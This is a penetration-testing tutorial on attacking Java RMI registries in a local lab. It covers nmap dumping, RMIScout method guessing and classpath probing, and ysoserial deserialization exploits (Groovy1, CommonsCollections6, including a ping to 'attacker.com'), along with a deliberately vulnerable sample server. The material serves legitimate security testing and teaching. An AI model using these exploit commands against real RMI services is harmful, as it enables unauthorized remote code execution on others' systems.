Java RMI for pentesters part two: reconnaissance & attack against non-JMX registries

This is the second part of the "Java RMI for pentesters" article. The first part can be found here and you can learn from it what Java RMI registries are (I am mainly speaking about non-JMX ones) and how to interact with them.

In the current part, we will talk about actual automated reconnaissance as well as attacks against them. The article will make use of the RMI interface / server which was presented and thoroughly explained in the first part. Its source code can also be found on GitHub, here.

Reconnaissance

An RMIRegistry server is started as per part one of the article and an nmap scan is run against it (in fact, scanning any RMI registry will give the following results. Just in case you want to follow along, you can use the exemplary code from part one).

nmap -v -Pn -p 11099 -sV --script=+rmi-dumpregistry 127.0.0.1
Nmap rmi-dumpregistry output for RMIInterface on port 11099
Nmap rmi-dumpregistry output for RMIInterface on port 11099

Let's see how to use the RMIScout tool against the above interface. RMIScout's purpose is to guess methods that are available on the RMI Interface. Once it's done, you can implement your own Interface and Client as per part one, and try to execute these methods. However, note that executing something blindly against an asset you do not own might have unpredictable side effects, including permanently damaging that asset. Before doing so, make sure that its owner is aware of the potential risk (while methods like String getVersion() are rather safe, never invoke something like shutDown()).

You can install RMIScout as per the GitHub description:

git clone https://github.com/BishopFox/rmiscout.git
cd rmiscout/
./gradlew shadowJar

I am building it with Gradle as described on the GitHub page, but you can download the pre-built release as well here.

Cloning and building RMIScout with Gradle
Cloning and building RMIScout with Gradle

For reconnaissance of potential functions, RMIScout offers two modes: checking for function signatures (wordlist mode) and bruteforce mode.

A command to check function signatures is:

./rmiscout.sh wordlist -i lists/prototypes.txt localhost 11099

If you take a look at the wordlist, you will see what these prototypes look like:

Method prototypes in lists/prototypes.txt
Method prototypes in lists/prototypes.txt

It is worth mentioning that parameter names are not relevant. They are exemplary, because they obviously can't be unnamed.

For the purpose of the exercise, let's scroll down the list and add the echo function, which is not on the list by default. If you don't add it manually, you won't get it detected!

String echo(Object randomParamName)
The echo prototype added at the end of the wordlist
The echo prototype added at the end of the wordlist

Now, save the wordlist and run RMIScout against the Registry:

Wordlist mode finds the echo method
Wordlist mode finds the echo method

The "Skipping..." output is just for information that these functions were present on the wordlist but they were skipped due to them taking no arguments. So the interesting part is in fact the green output.

As you can see, a function has been identified. Even if you didn't know the interface implementation, you can now create one with the echo function as presented in part one of this article.

Another mode available in RMIScout is bruteforce. Instead of guessing hardcoded method signatures, it allows for more diversity in search criteria. It can be run using the command:

./rmiscout.sh bruteforce -i lists/methods.txt -r void,String -p String,Object -l 1,2 localhost 11099

If you take a look at methods.txt, you will see that it contains just function names. We'll add "echo" at the end of the list so our non-standard method name gets detected. Remember to save the wordlist in that state!

echo added at the end of methods.txt
echo added at the end of methods.txt

The rest of the bruteforce mode arguments are as follows:

  • -r returned data type
  • -p parameter types to look for
  • -l range [from,to] of how many parameters the function should take as input.

RMIScout will use this data to generate permutations (combinations of function, parameter types and returned types) and try to guess them against the remote registry. Now, running the tool again will show that the method "echo" exists on the remote Interface.

Bruteforce mode finds the echo method
Bruteforce mode finds the echo method

Historical Attacks

From a historical perspective, it was possible to use ysoserial's utilities, RMIRegistryExploit and JRMPClient, to get an almost 100% sure RCE on a remote interface (assuming that in the past vulnerable libraries existed on almost every classpath). These two built-in functionalities are designed to abuse some specific internals of RMI registries which are pretty complex, so I won't describe them here. In short, RMIRegistryExploit takes advantage of the fact that RMI registries make use of Java Serialization for communication, and JRMPClient makes use of Distributed Garbage Collection, which can also be abused in a similar way. More details can be found here.

Ysoserial can be downloaded in its precompiled form. See how to do it on its GitHub page.

It was possible (in case of old Java, it still is) to attack RMIRegistries with ysoserial using the following commands. I'll assume the downloaded ysoserial has the name ysoserial.jar.

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit host port PayloadName command

or

java -cp ysoserial.jar ysoserial.exploit.JRMPClient host port payloadname command
ysoserial JRMPClient usage
ysoserial JRMPClient usage

Where payloadname is one of the ysoserial payloads and command is the command to be executed by that payload. For example, payloadname command can be:

  • URLDNS http://mycollabid.burpcollaborator.net
  • CommonsCollections6 "ping attacker.com -c 3"

In both cases, ysoserial will do the following:

  • Connect to the remote registry at host:port
  • Try to inject the serialized payload
  • If the PayloadName can be deserialized (all the gadgets are on the remote classpath and an old Java version is in use), then code is about to be executed
  • The reverse shell / DNS lookup check part is on your side

As said above, this is a historic method, but there are still applications that are hard-bundled with old Java, so it's worth a try. The Java version should not be newer than JDK 1.7u21 and should not have the JEP290 patch installed to be considered vulnerable.

JEP 290

What ended free exploitation of RMI registries was a security patch named JEP 290. You can read more about the detailed technical information of that patch and its implications in this great article.

In short, exploitation of RMI Registries is still possible, but via specifying a serialized object as an argument to a remote method. A very important note: not every argument can be replaced with serialized objects; only those that are non-primitive data types. Here you can see which data types are considered primitives.

Be aware that primitive types have corresponding so-called wrapper classes, which might be confusing, as per the example below:

  • Primitive int has a corresponding wrapper class java.lang.Integer
  • Primitive long has a corresponding wrapper class java.lang.Long

etc.

I won't dive much into the details of primitive and non-primitive types, but for those who are interested, you can see more information about wrapper classes here.

In short, if you are dealing with an RMI registry which runs on modern Java, and you want to execute code on it via the deserialization attack vector, you need:

  • at least one method found
  • that method should utilize an argument which is a non-primitive type
  • you need to replace that argument with a serialized object
  • of course, the gadget chain generated by ysoserial should be present on the remote classpath too, otherwise you'll get ClassNotFoundException

For example, if there is a method discovered on the remote registry whose signature is

String(java.lang.Integer x)

You should create the respective interface/client and generate a ysoserial payload using a command like

java -jar ysoserial.jar CommonsCollections6 "ping attacker.com -c3"

And invoke the method with that serialized object as an argument... well, manually this is not possible. You need to use a tool for this. For example, again RMIScout can be used (there are other ways, but I found RMIScout's utility the most user-friendly). Moreover, it already has ysoserial built-in, so it's really convenient in that case.

Attacking RMI using RMIScout and Serialized payloads

I'll show you how to use RMIScout as an exploitation tool; the example is very straightforward and the command line is already documented on the project's GitHub page. Let's take a look at two scenarios of the RMIRegistry. Note that the code below is very similar to the code provided in the first part, with one difference: additional methods were added.

//RMIInterface.java
import java.rmi.*;
import java.rmi.registry.*;
import java.net.*;

interface RMIInterface extends Remote {
    public String echoObject(Object obj) throws RemoteException;
    public String echoString(String str) throws RemoteException;
    public String echoClass(Class cls) throws RemoteException;
    public String echoInt(Integer inte) throws RemoteException;
}

//Server.java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.Naming;

public class Server extends UnicastRemoteObject implements RMIInterface {
    public String echoObject(Object obj) throws RemoteException { return "Object: " + obj.toString(); }
    public String echoString(String str) throws RemoteException { return "String: " + str.toString(); }
    public String echoClass(Class cls) throws RemoteException { return "Class: " + cls.toString(); }
    public String echoInt(Integer inte) throws RemoteException { Integer X = inte; return "Integer"; }

    protected Server() throws RemoteException {
        super();
    }

    public static void main(String[] args) {
        try {
            System.out.println("[+] Trying to bind...");
            //Below IP:PORT can be changed
            Naming.rebind("rmi://127.0.0.1:11098/RMIInterface", new Server());
            System.out.println("[+] Server started. ");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Now it's compiled using the command

javac *.java

Moreover, we will need the vulnerable Groovy library; you can download it from here.

The content of the directory before starting rmiregistry should look as below:

Compiled classes next to groovy-all-2.3.9.jar
Compiled classes next to groovy-all-2.3.9.jar

I'll make sure no other registry is running using netstat, and later I'll run the newly compiled Server. Note that the Groovy library has now been added to the classpath.

Starting rmiregistry and the Server with Groovy on the classpath
Starting rmiregistry and the Server with Groovy on the classpath

Running nmap shows that the registry is accessible and can be dumped:

nmap 127.0.0.1 -p 11098 -sV -v -Pn -T4 --script=+rmi-dumpregistry
Nmap dumps the registry on port 11098
Nmap dumps the registry on port 11098

Now the fun part: let's try to attack the registry. We already know what the interface is, and it was already said how to proceed if you don't have one: try to find it or guess it.

In this case, I'll skip the reconnaissance phase and focus on method execution. Note that our interface has the following methods:

RMIInterface.java with the added methods
RMIInterface.java with the added methods

We also know that the remote registry contains the vulnerable Groovy library on its classpath. Thus, ysoserial's payload named Groovy1 can be applicable to exploit it.

The whole problem is you cannot simply declare another type of argument in your implementation of a function. If the interface provides a function that takes Integer as an argument, you won't be able to call that function with an Object type of argument.

This time, RMIScout again helped us to achieve that. Let's invoke RMIScout in exploit mode against the registry:

./rmiscout.sh exploit -s 'String echoInt(java.lang.Integer x)' -p ysoserial.payloads.Groovy1 -c "touch /tmp/grovy111" -n RMIInterface localhost 11098
Exploit mode against echoInt(java.lang.Integer)
Exploit mode against echoInt(java.lang.Integer)

The arguments are as follows:

  • -s stands for Method Signature, which is taken from the interface
  • -p is ysoserial's payload taken from its classpath. All classes available on the path ysoserial.payloads can be found here; they are simply the same payloads ysoserial uses
  • -c is the command to the ysoserial payload
  • -n is the Registry name
  • the last two arguments are the host and port of the target registry.

After execution, despite what the error says, the payload was invoked. The file has been created in /tmp/ and you can also see in the Server's output that data has been processed.

Server output after the Groovy1 payload was deserialized
Server output after the Groovy1 payload was deserialized

June 2020: Issues with Strings and Primitives

I've already said that you cannot exploit an RMI interface by abusing functions that take a primitive as an argument. Unfortunately, this is also true for Strings, after a patch released in June 2020. I won't post the updated source code of the interface again; just so you know, I am just adding example functions that return a String (return type has nothing to do with the vulnerability) and take a String data type as an argument (this is what matters here). Let's start with trying to execute the echoString method.

./rmiscout.sh exploit -s 'String echoString(String x)' -p ysoserial.payloads.Groovy1 -c "touch /tmp/grovyString" -n RMIInterface localhost 11098
echoString: no file created in /tmp
echoString: no file created in /tmp

Nothing happened. This is because, according to the already mentioned article, in June 2020 another patch was added, which makes the String type protected from arbitrary deserialization in the same way as primitive types are protected. The linked article contains further technical information along with source code for the mentioned patch.

If we now try to execute another method from the remote interface which takes Class as an argument, again, the code execution works properly.

echoClass: the payload creates a file in /tmp
echoClass: the payload creates a file in /tmp

Let's take a look at another example of Primitives: int vs java.lang.Integer. The interface (and server) has been modified to include two functions: one takes an int (primitive) and another takes java.lang.Integer (wrapper class for int) as an argument. As you can see in the screenshots below, only attacking the latter results in code execution.

Interface with echoi(int) and echoInt(Integer)
Interface with echoi(int) and echoInt(Integer)
Only echoInt(Integer) creates the file
Only echoInt(Integer) creates the file

Extra step: Probing the remote Classpath

There is also another tool that has been released along with RMIScout that is worth checking out: it's named GadgetProbe. If you are not familiar with the term "gadgets", you should definitely take a closer look at the subject of Java Deserialization (https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet).

In short, Gadgets are certain Java classes which are available on the target application (or in this case, registry) classpath. Certain combinations of Java gadgets allow crafting malicious "gadget chains" which might lead to compromise of the target application if the chain is deserialized in an unverified manner. The compromise impact might vary from DNS resolution to code execution. Ysoserial (and tools related to it like Burp's Java Deserialization Scanner or RMIScout in exploit mode) is used to generate gadget chains that take advantage of insecure deserialization.

GadgetProbe relies on deserializing a universal gadget, URLDNS. This ysoserial payload always works (it just forces a DNS lookup on the deserializing endpoint) as long as it's thrown against arbitrary (arbitrary means there's no type check during the deserialization process) deserialization. So in this case, you can target any method that takes a non-primitive (or string) data type as an argument.

Probing classes on the remote classpath might help you to understand which gadget from ysoserial's toolkit should be effective against a certain interface, as long as you already detected insecure deserialization with DNS interaction. Simply put, DNS interaction is a PoC (like alert(1) in XSS) and in order to have an impact, you need to find gadgets and then use a suitable payload that consists of available gadgets and eventually achieve RCE (or other severe interaction with the target like file write/delete etc.).

I downloaded GadgetProbe from GitHub and built it:

Cloning and building GadgetProbe
Cloning and building GadgetProbe

The RMIRegistry shown in the screenshots is the same one that was scanned with nmap at the beginning of the post. Now, in order to prepare GadgetProbe to run, for the sake of demonstrating its capabilities, I've changed its default wordlist at GadgetProbe/wordlists/maven_popular.list.

java.lang.String added at the end of maven_popular.list
java.lang.String added at the end of maven_popular.list

Simply, "java.lang.String" is added at the end of the class wordlist, as it's certain that it will be on the target classpath; this is because java.lang.String is a native, widely used class.

In the next step, I use the BurpPro Collaborator Client to generate a collaborator link. I'll paste it into the command line to get RMIScout to use GadgetProbe to probe the remote classpath:

./rmiscout.sh probe -s 'String echo(java.lang.Object qwewqe)' -i ../GadgetProbe/wordlists/maven_popular.list -d "av9nuav4lhol8ytlc9ut2ditlkrgf5.burpcollaborator.net" -n RMIInterface localhost 11099

Let me explain what happens here:

  • First, we take the method that was previously obtained from RMIScout's enumeration process. It's the discovered echo method,
  • It is being run out of RMIScout with the probe parameter, which additionally is associated with the maven_popular wordlist
  • Additional parameters inform RMIScout about the DNS endpoint which will be resolved if a class from the wordlist is also present on the remote classpath
  • Also, it takes information about the registry binding, port and host

Upon running, you can see that java.lang.String has been resolved!

Probe mode running against the echo method
Probe mode running against the echo method
Probe response for java.lang.String
Probe response for java.lang.String

Note that the white text is not the proof of the method being executed. You should rely on the DNS interaction, which can be seen, in this case, in Burp.

Burp Collaborator DNS lookup for java.lang.String
Burp Collaborator DNS lookup for java.lang.String

As already said, DNS interaction is one of the "Universal gadgets", as it relies on native Java classes; that's why it's so reliable to use it in probe mechanisms. Moreover, it is a good idea to add some "always true" classes like java.lang.String to your class wordlist, so if you can't find even them, you can infer that a countermeasure is in place.

Summary

To summarize, testing of non-JMX RMI interfaces (those that do not implement javax.management.remote.rmi.RMIServer) involves the following steps:

  • Reconnaissance using Nmap to dump registry information
  • Check if the invocationhandler is accessible, otherwise tweak network/DNS settings
  • Try to find the remote interface online or in source code if possible
  • Otherwise, try to guess methods using e.g. RMIScout
  • Optional: try to probe gadgets on the remote classpath or
  • Find a method that uses a non-primitive type as a parameter
  • Try to execute it with RMIScout exploit mode, remembering that:
    • Primitives and strings cannot be deserialized
    • The remote classpath needs to contain vulnerable gadget libraries
    • Other custom deserialization filters might be in place, so still, it's not certain that RCE is possible unless you have white-box access

Definitely, recent patches made RMI registries (still speaking about non-JMX ones, as for JMXRMI there are a few other techniques) harder to exploit. But still, they are worth inspecting, as potential RCE is always a reward worth spending time on.

References:


Originally published in October 2020.